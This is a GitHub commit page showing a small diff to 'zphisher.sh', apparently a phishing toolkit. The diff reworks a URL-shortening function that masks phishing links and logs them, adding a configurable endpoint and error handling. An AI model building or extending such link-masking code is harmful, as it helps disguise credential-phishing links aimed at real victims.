Skip to content

Commit

Permalink
Update zphisher.sh
Browse files Browse the repository at this point in the history
  • Loading branch information
dracksters authored Jun 10, 2024
1 parent cfe8aae commit 6df719b
Showing 1 changed file with 8 additions and 3 deletions.
11 changes: 8 additions & 3 deletions zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -565,11 +565,16 @@ custom_mask() {
site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; }

shorten() {
local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -F "url=$2" "https://cleanuri.com/api/v1/shorten")
processed_url=${short}
echo "$processed_url" >> shortened_urls.txt # Append the URL to the file
local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -F "url=$2" "$1")
if [ $? -eq 0 ]; then
processed_url=${short}
echo "$processed_url" >> shortened_urls.txt # Append the URL to the file
else
echo "Failed to shorten URL: $2" >&2 # Print error message to stderr
fi
}


custom_url() {
url=${1#http*//}
cleanuri="https://cleanuri.com/api/v1/shorten"
Expand Down

0 comments on commit 6df719b

Please sign in to comment.